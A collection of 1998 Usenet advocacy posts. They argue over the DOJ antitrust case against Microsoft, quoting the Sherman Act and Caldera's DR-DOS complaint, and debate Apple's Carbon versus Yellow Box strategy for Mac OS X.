> The bit wrt to Mac8/9 interoperability with MacOSX, why is that important?
> And what if you don't get it in 8/9?
It's important because OS X is 15 months away and I don't think Apple will
push 8.5, 8.6 and 9.0 out the door without adding APIs. Those APIs must be
Carbon. I think in order to improve my feeling of a stable direction that
stuff would have to *not* show up in 8/9. Some reasurring words from
someone @apple.com would go a long way right now...
-Bob Cassidy
From: pyeatt@satchmo.cs.colostate.edu ( Larry Pyeatt)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 9 Jun 1998 05:57:58 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6liit6$o7c@yuma.ACNS.ColoState.EDU>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM>
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<35d0ab0c.360543981@news.supernews.com>
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In article <357C76BF.721F47E9@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
> Larry Pyeatt wrote:
>
>> That is patently untrue. Vendor *dependence* on Microsoft is part
>> of the case, but certainly not the crux. The case is about
>> MS leveraging its OS monopoly to destroy competition. Please read the
>> DOJ case and come back when you understand it. Here is a bit of
>> relevant text to get you started:
>
> The case itself is about "tying", a purportedly illegal practice
Yes. That is what I said: "The case is about MS leveraging its OS
monopoly to destroy competition."
> involving the requirement of one product to be sold with another. The
> crux of the case is that Microsoft, in tying Internet Explorer to the
> Windows operating system, has leveraged *vendor dependence* on Windows
> into successful market endeavors with regard to Internet Explorer.
There is one flaw in your argument.
From the DOJ action:
1. This is an action under Sections 1 and 2 of the Sherman
Act to restrain anticompetitive conduct by defendant Microsoft
Corporation ("Microsoft"), the world's largest supplier of computer
software for personal computers ("PCs"), and to remedy the effects of
its past unlawful conduct.
THE SHERMAN ACT, SECTION I
Every contract, combination in the form of trust or otherwise, or
conspiracy, in restraint of trade or commerce among the several
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
States, or with foreign nations, is hereby declared to be
illegal. Every person who shall make any contract or engage in any
combination or conspiracy hereby declared to be illegal shall be
deemed guilty of a felony, and, on conviction thereof, shall be
punished by fine not exceeding $10,000,000 if a corporation, or, if
any other person, $350,000, or by imprisonment not exceeding three
years, or by both said punishments, in the discretion of the court.
THE SHERMAN ACT, SECTION 2
Every person who shall monopolize, or attempt to monopolize, or
combine or conspire with any other person or persons, to monopolize
any part of the trade or commerce among the several States, or with
foreign nations, shall be deemed guilty of a felony, and, on
conviction thereof, shall be punished by fine not exceeding
$10,000,000 if a corporation, or, if any other person, $350,000, or by
imprisonment not exceeding three years, or by both said punishments,
in the discretion of the court.
Tell me, where does it say anything about vendor dependence? The word
tying appears 18 times in the DOJ action. The word monopoly appears
over 50 times. The case is about MS having a monopoly and using it to
gain other monopolies and to restrict trade by killing competition.
>> Don't forget Netscape, who bullied their way into the web browser
>> market. Netscape is not really dependent on MS.
>> Don't forget Digital Research, who bullied their way into the
>> OS market. DR was not really dependent on MS.
>
> Was your point intended to demonstrate that 'bullying' is merely common,
> or were you going deeper to acknowledge the fact that 'bullying', as you
> appear to define it, has little relevance to a case over 'tying'?
It was sarcasm. Most people over the age of 5 can detect sarcasm.
Your claim: Microsoft cannot be characterized as a "bully", except
where its competitors are also characterized as "bullies"
1) Netscape is a competitor to MS
2) Netscape did not "bully" their way into the browser business.
They brought browsers to the masses and had good products and
most of the market.
3) MS tied IE to Windows and "bullied" its way into the market.
1) Digital Research was a competitor to MS
2) Digital Research made a better DOS than MS-DOS and won some
market share from a much larger company by having a better
product.
3) MS tied Windows to MS-DOS and destroyed the market for DR-DOS
I think two examples are enough to kill your argument.
>> Apple owns rights to the hardware platform. If they decide not
>> to license it to competitors, then that is their right. Apple
>> also owns MacOS. If they don't want to license it to competitors,
>> then they are also within their rights. I don't see MS licensing
>> Windows to any of their competitors.
>
> The fact that UMAX and Motorola competed in the hardware business with
> Apple is relevant? Merely in that it gives Apple an excuse? I don't
> remember seeing anything in the DoJ statement regarding Microsoft's
> inability to give hardware competition as an excuse for its practice, do
> you?
I don't even remember Apple being mentioned by the DOJ. Obviously,
they, like any rational person, can see the difference between Apple
deciding not to renew all of the clone licenses and MS trying for
total world domination.
>> Yeah, DR DOS is doing pretty well. (sarcasm, in case you missed it)
I knew I should have put that in above as well.
>> How about all those companies who made drive compression software?
>> There are many more examples.
>> MS is in the business of destroying competition.
>
> Please post the parts of the DoJ statement regarding Digital Research
> and Stac.
Why? Let me refresh your obviously short memory:
YOU SAID and then CLIPPED:
>>>Except that as far as I know, all of Microsoft's "victims" are making
>>> money, whereas Apple's "victims" left the field with their purses
>>> lightened.
I showed two examples of Microsoft's "victims," one who is not
making money, and another that is looking pretty bad.
Why on earth should I now try to show that the DOJ mentioned
either of them? It is a non-sequiter.
> Please post the parts of the Sherman Anti-Trust act prohibiting the
> destruction of competition.
See above.
> Please post the parts of Microsoft's Company Statement regarding a
> mission to 'destroy competition'.
That would be nice. If only Microsoft were as stupid as some of the
people on Usenet, they would have put 'destroy competition' as #1 on
their mission statement. Unfortunately, all we have to go on is
statements from their executives like:
As Paul Maritz, Microsoft's Group Vice President in charge of the
Platforms Group, was quoted in the New York Times as telling
industry executives: "We are going to cut off their air supply.
Everything they're selling, we're going to give away for free." As
reported in the Financial Times, Microsoft CEO Bill Gates likewise
warned Netscape (and other potential Microsoft challengers) in June
1996: "Our business model works even if all Internet software is
free. . . . We are still selling operating systems. What does
Netscape's business model look like? Not very good."
Obviously, you have neither read the DOJ action nor tried to compete
against MS.
>> > Outperforming Microsoft may accomplish the same thing. Unfortunately,
>> > Microsoft's competitors have done nothing of the kind. To "hurt" MS
>> > would be to push consumers toward inferior competitors.
>>
>> I disagree. Netscape is better than I.E.,
>
> If I.E.'s integration with the Windows operating system is an advantage
> (apparently it is), then you cannot argue alone on the merits of
> Netscape Navigator as a standalone product. I.E. may well be superior
> product precisely because of the way Microsoft sells it.
Oh, I see. By your argument, the Philco AM/FM/cassette that came in
my car is better than the Blaupunkt AM/FM/CD that I had installed in
its place. I guess the Boston Acoustics speakers were also a waste
of money, since the ones installed at the factory were a superior
product precisely because of the way GM sells them. Thanks for
clearing that up.
(Actually, I ordered my car WITHOUT a sound system and will not
buy a car where that is not an option.)
I.E. is not part of the OS, no matter how much MS claims it is.
It is an add-on, just like a car radio.
>> DR-DOS was/is better than MS-DOS.
>
> Again, in your subjective opinion. The market decided otherwise.
You obviously never compared DR-DOS to the version of MS-DOS that
it was competing against. DR-DOS was equal or better in every
way.
The market "had a little help" deciding on MS-DOS and MS is now being
sued for damages. See http://www.caldera.com/news/npr/suitamend.html
for more information. I think they have a good case, but we will
have to wait and see what the court decides.
Section 3 of the suit is particularly interesting:
Microsoft has erected artificial barriers to the entry and growth of
competing operating systems vendors through its contractual relations
with original equipment manufacturers (OEMs) of PCs and other
predatory conduct, which have had the effect of excluding competitors
from the DOS Market, a market in which Microsoft has monopoly
power. These practices have included the following:
(a) License agreements which required OEMs to pay royalties to
Microsoft not only when they sold PCs containing Microsoft's
MS-DOS, but also when they sold PCs containing competing DOS
Software or no DOS Software ("per processor licenses");
(b) Unreasonably long terms for license agreements with OEMs for
the use of Microsoft's MS-DOS software;
(c) Pricing schemes and other license terms and enforcement
practices that effectively have required OEMs to purchase
their entire DOS Software requirements from Microsoft;
(d) Tying arrangements under which Microsoft required OEMs to
purchase MS-DOS to the exclusion of competing DOS Software
products, in particular DR DOS and Novell DOS, in order to
obtain its Windows 3.x software programs (or to obtain
Windows 3.x at a reduced price) or to be given access to
other essential information, product support and service;
(e) Selective, deep discounting of price on MS-DOS license
agreements with OEMs where Microsoft perceived DR DOS, Novell
DOS or Open DOS to be a competitive threat, in an effort to
block any ability of DRI, Novell and Caldera to profitably
compete on price;
(f) False public statements by Microsoft executives, and Windows
error messages, which have misled the market as to possible
incompatibility problems between Microsoft's Windows software
programs and non-Microsoft DOS Software, in particular DR DOS
and Novell DOS;
(g) Beta blacklists, pursuant to which Microsoft refused to
permit select companies from participating in pre-release
testing of software products, including refusal to permit
Novell to test DR DOS with Windows 3.1, which hampered
Novell's ability to develop and offer a DR DOS release
immediately compatible with Windows 3.1;
(h) False public statements by Microsoft executives concerning
future product features and anticipated shipment dates, known
in the industry as "vaporware," timed to match or upstage
announcements or releases of new versions of competing DOS
Software, in particular DR DOS and Novell DOS. Such
"vaporware" practices by Microsoft included pre-announcement
of MS-DOS 5.0, MS-DOS 6.0, MS-DOS 7.0, and Windows 95;
(i) Technologically tying MS-DOS to Windows in the creation of
Windows 95, accompanied by early expression of its intent to
do so, in order to destroy competition in the DOS Market by
creating the perception if not the reality that competing DOS
Software could not be run in conjunction with Windows; and
(j) Creating intentional incompatibilities between Windows 3.x
and non-Microsoft DOS Software, in particular DR DOS and
Novell DOS.
These practices have had the purpose and effect of freezing out
competing DOS Software products, in particular DR DOS, Novell DOS and
Open DOS, and thereby entrenching Microsoft as the dominant provider
of DOS Software.
>> These products
>> lost in the marketplace because MS owns the OS and used that to
>> steal the market.
>
> Microsoft owned MS-DOS. It did not own DR-DOS. How do you account for
> your argument?
See above and read the entire complaint from the Caldera web site.
>> It means that he presented a choice between two things when there
>> are more choices available. I suddenly have the feeling that
>> logic is not the forte of the MS advocate.
>
> Nor are buzzwords and loosely-applied jargon. You are in the habit of
> placing such things directly after commentary with no follow-up, as if
> your argument were self-evident. Hmm.
False dichotomy is a well known logical fallacy. The term is neither
a buzzword nor jargon.
>> Predicting the long term is easy, you silly boy. In the long term,
>> computers will get faster and easier to use. Companies will come
>> and go. That is my prediction.
>
> Is that the prediction you made in the previous posting, you silly boy?
> I'll consider it a retraction.
Thanks. But that won't be necessary. I said:
>>> It is MS's claim that the industry will be harmed. I personally
>>> think they are wrong on that one, at least in the long term.
This is entirely consistent with my expanded prediction that you
quoted above.
>> You really aren't good at logical thought, are you? Let me spell
>> it out for you:
>
> Thanks. That would be grrr-eat!
>
>> MS says: "Hurt me, and you hurt the industry."
>> They don't say whether they mean in the short term or the long term.
>> I will concede that there is a POSIBILITY that there will be short
>> term upheaval in the industry if MS is "hurt," although I don't
>> really think it will be much.
>> In the long term, the industry will be helped if MS is not allowed
>> to destroy all competition.
>
> This is your logic? You insert a qualifier (long term versus short term)
> that has no relevance to Microsoft's claim, then reassert your silly
> prediction.
>
> Logic?
Yes. I said that I disagree with MS claim of "Hurt me, and you hurt
the industry." I never said that there was no possibility of short
term readjustment.
>> I really don't see what you are complaining about. Maybe you didn't
>> understand what I was saying.
>
> No, that's precisely the problem. You keep peppering irrelevant and
> scattered commentary with sophomoric remarks on my ability to follow
> logic. No 'logic' is forthcoming from you, however. Would you step me
> through a proof of your prediction that 'hurting' Microsoft is
> beneficial to the computer industry?
I never said that 'hurting' Microsoft is beneficial to the computer
industry. I have no need to prove something that I did not say.
> Let me help you. Start with 'Assertion: ...', then proceed from there.
> You know the drill, Professor. Come on.
Assertion: Larry said that 'hurting' Microsoft is beneficial to the computer
industry.
You said it, so you prove it.
>> > "Put out of business"? Name these companies who are being "put out of
>> > business". Netscape? Sun Microsystems? Apple Computer? Demonstrate that
>> > any of the above are being "put out of business" by Microsoft.
>>
>> Digital Research. Netscape.
>
> Digital Research was put out of business by Microsoft's tying practices?
See above.
> Don't embarass this newsgroup any further; say what you mean and stop
> wasting time. I just went to Netscape's home page, and apparently,
> they're not out of business.
Correct. They are not out of business yet. They are still being
put out of business by Microsoft. I gave you what you wanted.
> I know you have a 'logic' argument to show for this; by all means, let's
> have it.
You listed a few companies and asked me to demonstrate that they
are being "put out of business" by Microsoft. Your list did not
include any of MS real victims, except for Netscape. I added
DR to demonstrate that your list was incomplete. I have already
given pointers to evidence that DR was put out of business by MS.
As for Netscape. A quick browse through the Web will show that
they have been rapidly losing market share since MS started
tying IE to Windows.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 01:31:30 -0400
Organization: BM
Message-ID: <6lih4h$3bp$2@chile.it.earthlink.net>
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>Eric is right that MacOS X is not an enterprise killer solution that Rhapsody
>could've been. But all that is water under the bridge. Rhapsody couldn't
>get there from here, period. It died. MacOS X gets Apple to the bridge, at
>least. The Rhapsody strategy, was a non-starter.
What then happens to WebObjects?
Ziya Oz
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<6lih4h$3bp$2@chile.it.earthlink.net>
Message-ID: <Ky4f1.12146$Kx3.12535322@news.rdc1.sdca.home.com>
Date: Tue, 09 Jun 1998 06:24:42 GMT
NNTP-Posting-Date: Mon, 08 Jun 1998 23:24:42 PDT
Organization: @Home Network
In <6lih4h$3bp$2@chile.it.earthlink.net> "Ziya Oz" wrote:
> >Eric is right that MacOS X is not an enterprise killer solution that
Rhapsody
> >could've been. But all that is water under the bridge. Rhapsody couldn't
> >get there from here, period. It died. MacOS X gets Apple to the bridge,
at
> >least. The Rhapsody strategy, was a non-starter.
>
> What then happens to WebObjects?
>
>
Just watch... right now its Apple's best enterprise door stop.
Doors' open...
-r
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 08 Jun 1998 23:57:07 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0806982357100001@dialin33413.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>
In article <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <rmcassid-0806981539290001@dante.eng.uci.edu> Robert Cassidy wrote:
> > Q) Apple is engaging in development of new APIs. Are they Carbon APIs? Are
> > they YB? Are they both? If they are both, how you do provide the kind of
> > OO support that YB developers demand, and still make them familiar in
> > structure to Carbon developers? Doesn't that amount to a lot of duplicate
> > effort?
>
> To further elaborate, avoid packaging Carbon + YB and moving the whole
> cluster of technologies forward as a monolithic whole. Carbon does MacOS 8.0
> ver plus some Services which give it equal citizenship making MacOSX a
> unified user desktop.
>
> Both Carbon and Java API's are new. Old Rhapsody Obj-C API's, now
> affectionately referred to as YB, are being ammended as necessary.
> Syntactical sugar has been applied to Javacize all the old Rhapsody Obj-C
> API's so, in fact, Obj-C needn't be spoken, much less learned. Old Obj-C
> programmers are supposed to find their API's intact and documentation
> available.
That's fine, but what _appears_ to be happening, and maybe I'm wrong here,
is that future development by Apple favors Carbon. It's written in C/C++
and will somehow (I presume, even this isn't totally clear to me) get
Javacized + any ObjC touch-ups.
So what my concern is, is not that Carbon is the transitional element, but
that YB/ObjC is and that YB/Java is, well, going to be half done and half
not done. It doesn't make any sense that this would happen, but I don't
see Apple embracing a model that would favor the Java developer in any
way.
> That's one of prices paid for backward compatibility. They become isolated
> at the level of skill and by architecture knowledge. Carbon guys keep Mac
> 8.x API's plus the new Carbon calls. Java brewers get the whole environment
> limited only by Java and their knowledge/skill thereof. Same with Obj-C
> hands except these guys need to mix Java + Obj-C going forward. I haven't
> seen any of them cringing...
Do Java brewers get Carbon? I haven't gotten the sense that Carbon will be
accessable to Java except through the MS JBindery crapola that Apple is
embracing. Not that it won't work, but it's making a pit in my stomach
that I'm really starting to hate.
What this is all starting to remind me of what the disaster that the Mac
toolbox turned into. A good chunk of the problems that Apple had with the
toolbox stemmed from the fact that there were so many of these API twists
and turns and wrappers that came along and just made developers lives
hell.
The Toolbox originally had a Pascal interface on it. Then C/C++ came out
of the swamp and Apple needed to support it. So there were C and C++
interfaces mushed up with the Pascal stuff. Things like GX were C++ but
had a C interface. There was the CFM with it's oddness. OpenDoc with it's
oddness. And so on, and so forth. After a while, there were so many
screwed up APIs becuse the toolbox was comprised of components written in
about 5 different languages, each with it's own preferences on how things
should be done - some of which were not compatable with the language you
wanted to use! It flat out sucked.
Granted that was BJ (before Jobs) and the world was a much less ordered
place then. But here we are, back with the C/C++/Java/ObjC procedural/OO
mish-mash with everything having 3 wrappers on it and all this crap is
*still* going to be cross-platform? And Apple won't find that their
developers collapse under the weight of all this support in exactly the
same way the Microsoft coders have?
It just looks like a big mess to me.
> > YB developers work in a considerably different structure than Carbon
> > developers can take advantage of, and contributions by Carbon developers
> > will probably be seen as having little value to YB developers due to a
> > weak OO structure. All oars should be pulling in the same direction
> > here...
> No big deal... Same direction, different strokes.
But neither party able to efficiently contribute toward the efforts of the
other. So will the next MiscKit be Carbon? YB? Both? Will developers be as
good at wrapping all this stuff up so everyone can use it as Apple
promises?
> > Q) If they are Carbon based (as I understand is the case), then how can YB
> > developers rely on their presence (unless Carbon itself becomes
> > cross-platform)?
>
> Clarify what "Carbon based" API's being created "new" defines. This loosely
> worded implies Carbon systemwide moving forward as if it has become de
> rigeur. Quix demonstrated on NeXT machines, as long as Mac Rom code is
> implanted soft or hard MacOS apps cross platforms nicely with or without
> Carbon.
Is the new Encryption API going to be available to developers that want to
deploy for YB/NT? Or is Apple further differentiating platforms?
I don't doubt that Apple *can* do it, but *will* they do it. And should YB
go elsewhere, will these new APIs follow? Carbon is portable only because
QT is in some fashion. But QT is *not* yet portable to all the places that
YB could be.
> > Q) If they are Carbon based, how does Apple expect to maintain the
> > apparently excellent layering and buffering of services that you find in
> > Rhapsody/OpenStep. Or will MacOS X take those Rhapsody roots and sink them
> > in a pot of procedural soil? Doesn't that just turn MacOS X into the mess
> > that Apple had in MacOS up to now?
>
> Non-issue with my limited understanding, until I learn otherwise.
It's my understanding that most of the new work on MacOS X (like the
Finder) will be good 'ol C++ and Carbon APIs.
> > This combined with the wall erected above between the OO structure of YB
> > and the procedural structure of Carbon creates that detrimental reliance
> > on Apple that you describe.
> It's only temporary until talent comes up to speed on the new API's. But
> that is 3+ years. Year One will be Carbon conversion and a wait&see
> atttitude. Year Two the market will take Apple in the direction it must go.
> Year Three it's all Hell broke loose writing new apps for the new direction
> in the Java API's.
Is it? Given that, I would think that Apple itself would put everything
into Java and the Java APIs and erect services all over the place
accessable to Carbon to get that crowd by. But that doesn't seem to be the
case. Why would Apple *themselves* invest in anything around Carbon now if
it would be depreciated in only 3 years - only a year or two after OS X
ships?
> > Q) If they are Yellow based, then Apple has no ability to migrate them to
> > the MacOS 8/9 products which makes me skeptical of receiving any near-term
> > gains based on what I heard at WWDC.
> Only to the extent that NeXT engineers influence MacOS 8/9 development
> direction. Some influence has been felt. More should be expected for
> merging with MacOS X. But I agree, near-term should NOT be where to expect
> MAJOR technology transfer.
Not transfer. New work. There is ongoing work that is new to both camps -
but where will it fall? In MacOS 8/9? That's where it appears it will
fall...
> > Again, something is missing here. The problem is that the introduction of
> > Carbon is very good, but incomplete long-term. Carbon will not allow MacOS
> > X to advance in any efficient, innovative way and at the same time, MacOS
> > X will never gain adoption to even have a chance at advancing without it.
>
> You haven't seen "Apples-on-a-stick" have planned. Carbon is essential now,
> ala lifeboat, to these Mac Developer's. Java API will be their Ship
> coming-in...
Then why devote effort to new work in Carbon unless it is fully duplicated
in Java API? And why do any *new* app development in Carbon, which I
understand is taking place?
> > Furthermore, I don't see that Apple is offering anything to *new*
> > developers that is overly exciting. Calling YB with Java is nice, and YB
> > allows nice, rapid development, but YB doesn't go anywhere but Mac and
> > Windows. BFD. That's not overly interesting to the Java world, IMO.
> Exactly the rant I went on a month back... but it could.
How?
> > To existing Mac developers, they get their same old junk on a platform
> > that is more stable, but no bigger than what they had. BFD. That's not
> > overly interesting to the Mac world, IMO.
> Wrong. Biggest Fucking Deal Apple ever faced. They got it wrong too, don't
> feel bad.
But these developers already *have* all of that. It's called NT, and every
app out there but about 6 support it. What is Apple offering here?
> OPENSTEP developer's get "clout". Really that's all they wanted. For 10
> plus years these talented and principled few have found an audience of NONE
> in advancing business plans, careers or technologies.
Clout is good, and I'm sure is welcome. But at the same time, they don't
get much clout. Don't go after any VC dollars - Apple ain't welcome even
with Guy Kawasaki stacking the deck for us.
> Eric is right that MacOS X is not an enterprise killer solution that Rhapsody
> could've been. But all that is water under the bridge. Rhapsody couldn't
> get there from here, period. It died. MacOS X gets Apple to the bridge, at
> least. The Rhapsody strategy, was a non-starter.
I agree, in hindsight at least. But I'm having my doubts of MacOS X now.
The API was interesting to me. That is in doubt now. The hope for an
environment that would be appealing to use is fading. And if I have to
pick between environments that are each sufficiently screwed up, why not
just pick NT and commit myself to the fact that these boxes are no longer
interesting. At least I'll get approval for all the extra taxpayer dollars
that'll be needed to get my job done...
-Bob 'overwhelmed by the feeling that entropy is winning' Cassidy
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Any chance OPENSTEP for Mach on G3?
Date: Mon, 8 Jun 1998 16:56:44 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Eu8sEK.G8A@micmac.com>
References: <6l9gma$shl$1@nntp.Stanford.EDU> <OFme1.683$hc.475852@NewsRead.Toronto.iSTAR.net>
Mime-Version: 1.0
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Cc: jsamson@istar.ca
This was written in comp.sys.next.advocacy
(<OFme1.683$hc.475852@NewsRead.Toronto.iSTAR.net>) by Jean-Paul Samson:
> What I think I'll do for old applications with no Rhapsody equivalent
> is run them on my old NeXTstation and display them, via NXHosting, on
> the Macintosh.
>
Soon KAPPUTT!!!!
mc
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 08 Jun 1998 22:38:37 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0806982238380001@dialin33413.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <slrn6np32f.jsi.sal@panix3.panix.com>
In article <slrn6np32f.jsi.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Mon, 08 Jun 1998 12:46:40 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
> >Right. But in the mean time, YB is still tied to Obj-C. You can write in
> >Java, but you can't really extend YB properly without wrapping things up
> >nicely.
>
> Not true.
Thanks. That helps fill in a gap. More still remain, however. Like YB <->
Carbon issues.
> >Carbon yields immediate results. They can start working
> >without having to spend a lot of time reading first.
>
> I would say it is the other way around for new development. You can get
> up and running in IB+PB in a couple of days. You can have a decent DB
> front end in a day and a half from opening the box.
Maybe for *really* new development. A lot of the developers that Apple is
courting know the Mac toolbox forward and backward - with big chunks of IM
permanently etched in their brains. Hell, I still have big chunks etched
and I haven't written a line of compiled MacOS code in almost 4 years.
And for DB front end, I agree completely. Next really did a nice job
there. But that's a whole different animal from a lot of what developers
need to do. And not all parts of the Rhapsody APIs and tools are as nice
as EOF and EOModeler, IMO.
Given many of the frameworks and development tools available on the Mac,
the common Mac developer know the landscape pretty well to be able to just
jump in and go and get somewhere pretty quickly.
The YB world is different. It is structured different. It interacts
differently. Things that might seem to be trivial to do aren't (because I
think in a Mac Toolbox way) and things that seem impossible become
trivial. Simply because it is different requires some prep time to go
anywhere.
Sure it's a piece of cake to get some things rolling, but at some point
you really need to dig in and learn. The learning curve is shallow, then
steep, then I assume shallow again. The Mac Toolbox is steep for a while,
then shallow. The choir for Apple already has the steep part in the bag...
Again, this isn't to say that the investment isn't worth it. I think is
really, really is worth it. But most of the guys out there are stubborn,
or lazy, or stupid, or simply can't justify learning a new API unless it
is Win32.
> The toolbox is a lot more work, unless you have a ton of MacOS code you
> want to keep.
And most developers do - in their heads at least. They know how to get
around without thinking much. They have a roadmap to the Mac APIs in their
head. They don't have that for YB. They know the ins and outs, the tricks,
the gotchas, and the stupid-ass things that will keep you mired in Jasik
for 4 days. That's valuable stuff, and will take time to reproduce with
YB. In some cases there is no counterpart, because it's different and in
many ways better. At the same time, there are piles of things to learn
that don't have a counterpart in Mac development. These are just very
different things.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 09 Jun 1998 00:11:27 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0906980011280001@dialin33413.slip.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com>
In article <tbrown-0806982356060001@mv172.axom.com>, tbrown@netset.com
(Ted Brown) wrote:
> In article <rmcassid-0806981539290001@dante.eng.uci.edu>, rmcassid@uci.edu
> (Robert Cassidy) wrote:
>
> Apple could be writing in C++, then using existing C++/Java/Obj-C bridges
> to connect to Yellow Box. The Carbon developers would get a C++
> framework, which might be a bit foreign to them. It's not that much work
> to take a well designed C++ framework, then expose it as a C based API.
> With some design care, the C shell could even be made by an automatic
> parsing tool.
Sounds like the Toolbox all over again. Wasn't this stuff supposed to get
better?
> This C++ framework could be exposed in Java. That way, Yellow can hit the
> Java framework with only a slight hit over natively calling the C++ lib
> (and just a bit more work should expose the lib directly to Obj-C).
> (Again, this could also be mostly automatic.)
But it's adding up. A bit more work here, a bit there... The easy
accessability for things like Applescript seem to be going away. Suddenly,
it seems Apple's brand new OS is taking on Microsoftian qualities.
> I fear that's what's happening. That the older Mac engineers really don't
> grok Obj-C or Yellow, and like other Mac developers, don't want to use
> it. Hence, idiotic decisons like a Carbon Finder.
Yes!
> uh, yeah, that's what I'm afraid will happen. Apple should write OO
> Frameworks, and the second stage would be to write the procedural access
> API for those using older languages.
Yes!
>Instead I fear that all work will be
> done on Carbon, and Yellow will be the poster child. Yellow's a better
> foundation for the future -- it's better designed and easier to extend. A
> long term view focuses on Yellow (hence new APIs should be written for
> Yellow, then exposed to Carbon) and tries to figure out a way to make it
> even easier to convert a Carbon App into a Yellow App. I'm not sure that
> Apple's currently in the 'long term view' business, even when it just
> means only a little more pain in the short term, for a large savings in
> the long term. (Even that's doubtfull, it's quite possible that writing
> the Obj-C framework, and intial testing will be much faster than writing a
> Carbon Framework, esp since Carbon doesn't exist at the moment).
I would think so. It seems to me, that given the long waits for Apple to
deliver here, they would be well served by just doing it right to begin
with. That's what I *hate* about MS. They do a half-assed job the first
run through - which the users and developers ultimately pay for, and then,
after 3 years and 2 major revisions, get something that is workable.
Sorry, but MacOS X is *already* pushing the patience of many people, and
if I need to factor in some kind of Microsoftian learning curve for Apple
to get it right, I'd prefer to know up front and just stick with the big
monster from Washington.
> Even
> Mac OS 8/9 could use the API if they had the Obj-C runtime. All we need
> is for _new_ frameworks to be ported to MacOS, which is several orders
> simplier than moving all of Yellow to the Mac OS.
If that were the case, that'd be fine. I'd rather have to wade through
some kind of minor Carbon hell, knowing that it was transitional and of my
own choosing, than to know that the APIs and foundation were hosed from
the get-go and likely to stay that way.
> But, that'd mean that all the non-NeXT Apple engineers would have to use
> Obj-C, or at least C++ to code new API sets, and even with no connections,
> I've heard word that's not the case.
And why my mood has changed considerably over the last few days.
-Bob Cassidy
From: rexr@dt1.sdca.home.com
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
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<355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
<Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net>
<*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com>
